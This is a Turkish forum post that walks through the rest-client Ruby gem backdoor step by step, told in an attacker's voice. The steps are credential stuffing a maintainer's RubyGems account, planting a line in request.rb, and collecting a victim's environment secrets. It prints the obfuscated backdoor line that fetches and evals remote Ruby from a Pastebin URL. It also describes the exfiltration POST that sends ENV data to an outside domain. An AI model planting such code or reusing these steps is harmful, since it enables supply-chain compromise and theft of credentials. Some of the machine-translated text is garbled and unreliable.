s27anonym 0x27 | Akıncı
|
|
Yüzbaşı
|
İstanbul 20 Mart 2022 27 Mesaj
Durum: Urfalıyam
|
|
|
- WEB | OWASP TOP 10 | Ruby rest-client Backdoor
- WEB | OWASP TOP 10 | Ruby rest-client Backdoor
- Ruby için rest-client gem'de bildirilen kod yürütme backdoor ayrıntılarını verir.
Jussi Koljonen tarafından yayınlanan ayrıntılara göre, rest-client'ta bilinmeyen bir tehdit aktörü tarafından bir backdoor tanıtıldı (sürüm 1.6.13)
- Tanınmış bir ISP'ye yönelik yakın tarihli bir siber saldırının ardından, bir grup bilgisayar korsanı, bir metin paylaşım sitesi olan Pastebin'de güvenliği ihlal edilmiş kullanıcı verilerinin (kimlik bilgileri dahil) örneklerini yayınladı.
Pastebin gibi "yapıştır" sitelerini düzenli olarak izleyip parola dökümlerini, sızdırılmış kredi kartı verilerini ve diğer hassas bilgileri aramaya başlayalım.
- Parola dökümünü inceleyelim ve tanınmış bir yazılım şirketinin e-posta domainini tanımlayalım:
thoushaltnotreusepasswords:andrewmanning@softdev.io Andrew Manning
Google'ı kullanarak hızlı bir OSINT araması yapalım ve tanınmış bir yazılım geliştiricisi Andrew Manning'e ait e-posta adresini tanımlayalım.
OSINT nedir? Açık Kaynak İstihbaratı (OSINT), bir kişi veya kuruluş hakkında kamudan veya açık kaynaklardan toplanan bilgilerin toplanması ve analizidir.
- diğer Google aramaları, Andrew'un popüler bir Ruby Gem dinlenme istemcisi için aktif bir katkıda bulunduğunu ortaya koyuyor.
Andrew'un RubyGems.org hesabına bir kimlik bilgisi doldurma saldırısı girişiminde bulunalım ve Andrew'un çalınan kimlik bilgileriyle kalan istemci kod deposuna erişmeyi başarırız.
Kimlik Doldurma nedir? Kimlik bilgisi doldurma, bir hizmetteki veri ihlalinden elde edilen kimlik bilgilerinin, alakasız başka bir hizmette oturum açmaya çalışmak için kullanıldığı bir tekniktir.
- 900;eval(open('https://pastebin.com/raw/5iNdELNX').read)}}}if Rails.env[0]=="p"}
request.rb, Gördüğünüz üzere zararsız kod satırı ekleyerek dosyayı değiştirdik.
- Bir kripto aracı kurumu CoinPay için çalışan bir geliştirici olan Alice Bir QA ekibini yönetiyor ve CoinPay platformunu dağıtmak ve test etmekten sorumlu.
Alice olarak ls -al komutunu vererek CoinPay'ın proje dizinine göz atalım
GemFile Proje dizin yapısına bakıldığında CoinPay platformunun Ruby on Rails web çerçevesi kullanılarak geliştirildiği görülüyor.
- gem 'rest-client'
Gemfile'den geçerken, Alice'in projesinin Ruby için bir and client sunan rest-client gem'i kullandığını görebiliriz. HTTP REST
Reuters Yorumdan, geri kalan istemci kitaplığının Alice'in projesinde üçüncü taraf json-rpc uç noktalarından gelen verilere erişmek için kullanıldığı görülüyor.
source 'http://rubygems.org' Alice CoinPay projesini oluşturduğunda, kalan istemci mücevherinin, arka kapılı dinlenme istemci kodunu barındıran rubygems.org gem kaynağından indireceğiz.
- proje ortam dosyası .production.env'ye bir göz atalım.
ortam dosyası nedir? Bir yazılım projesi bağlamında, bir ortam dosyası aşağıdakiler gibi projeye özel değişkenler içerir:
Veritabanı sunucuları, Amazon S3 API, SMTP kimlik bilgileri vb. gibi harici hizmetlere ilişkin kimlik bilgileri;
Veritabanı, Memcached ve diğer yedekleme hizmetlerine yönelik kaynak tanıtıcıları;
Kurallı ana bilgisayar adı gibi dağıtım başına değerler.
- Daha önce rest-client Ruby gem'i değiştirmiştik mironanoru.zzz.com.ua alan adını kaydedip ve yeni kayıtlı alan adına işaret eden bir sunucu yapılandıralım.
Daha sonra Apache web sunucusunu kurup ve bu sunucuyu ayrıntılı günlük kaydını etkinleştirecek şekilde yapılandırarak mironanoru.zzz.com.ua'ya yapılan her HTTP isteği için ayrıntılı günlük olaylarını görüntülemesine olanak tanır.
Aşağıdaki komutu terminalimize yazarak erişim günlük dosyasını izleyebiliriz. tail -f /www/access.log
- Alice projesinin en son yapısını aşağıdaki üretim sunucusuna dağıtır:
- Alice, yeni dağıtılan CoinPay projesine başarıyla eriştikten sonra apache web sunucumuzda POST aynı anda bir günlük olayı kaydedilir.
İsteği analiz etmek için apache günlük dosyasını inceleyelim. POST
POST / HTTP/1.1 Alice yeni dağıtılan projeyi tarayıcısına yükledikten sonra, POST günlük dosyamız bir istek olayı kaydeder
İsteğin gövdesi, Alice'in hazırlama sunucusu URL'si ile atanan POST bir parametre içerir. x
İkinci bir parametre y iletilir; içerik dizesinin belli belirsiz tanıdık geldiğine dikkat edin.
Daha yakından incelendiğinde, parametrenin, hassas API anahtarları ve veritabanı kimlik bilgileri dahil olmak üzere Coinpay'in tüm uygulama ortamı değişkenlerini y içerdiği görülüyor!
- backdoor daha iyi anlamak için, önceden değiştirdiğimiz request.rb proje dosyasını analiz ederek başlayalım.
_!{Thread.new{loop{_!{sleep 900;eval(open('https://pastebin.com/raw/5iNdELNX').read)}}}if Rails.env[0]=="p"} Rails.env[0]=="p" Kod bloğu, önceki kod bloğunun yalnızca bir proje üretim modunda çalışırken çalıştırıldığından emin olmak için yapılan kontrolle başlar.
Thread.new Ardından, ardışık ve çağrılan G/Ç tipi bir istek Thread.new olduğundan, gözle görülür bir performans etkisi olasılığını en aza indirmek için aracılığıyla yeni bir iş parçacığı oluşturulur. loop eval
900 Kod daha sonra her 15 dakikada bir çalışacak bir döngü başlatır.
900;eval(open('https://pastebin.com/raw/5iNdELNX') Son olarak, 15 dakika geçtikten sonra kod open, içeriği eval Ruby kodu olarak değerlendirilmek üzere geçirilen bir PasteBin URL'sini çağırır.
rescue Exception Zararsız boş istisna işleyicisinin, arka kapının ortaya çıkarabileceği hataları sessizce görmezden geldiği bildirildiğini unutmayın.
- Pastebin "paste", üç istisna işleyici bildiren Ruby kodunu içerir. Kodu kod düzenleyicimize yükleyerek bu dosyayı analiz edelim.
- Özel durum işleyicisini, özellikle de tarafımızdan Alice'in ortam verilerine erişmek için kullanılanı daha fazla analiz edelim.
Faraday.post Backdoor, Ruby Faraday gem'i (bir HTTP istemci kitaplığı) kullanır ve istek Faraday.post yapmak için kullanılan yöntemi çağırır. POST
{ "x" => ENV["URL_HOST"] Yöntem iki parametre ve Faraday.post mironanoru.zzz.com.ua için. İlk parametreye, arka kapının yürütülmekte olduğu sunucu ana bilgisayar adını içeren ortam değişkeni atanır. POST's x y x URL_HOST
"y" => ENV.to_hash.to_yaml }) İkinci parametreye y, hassas API anahtarları ve kimlik bilgileri içerebilen uygulamalar ortam değişkeninin serileştirilmiş bir kopyası atanır.
POST Son olarak, bu verilere kontrol edilen mironanoru.zzz.com.ua'ya post() çağrılır. POST
___________________________________________
Cyber-Warrior TIM
|
|
|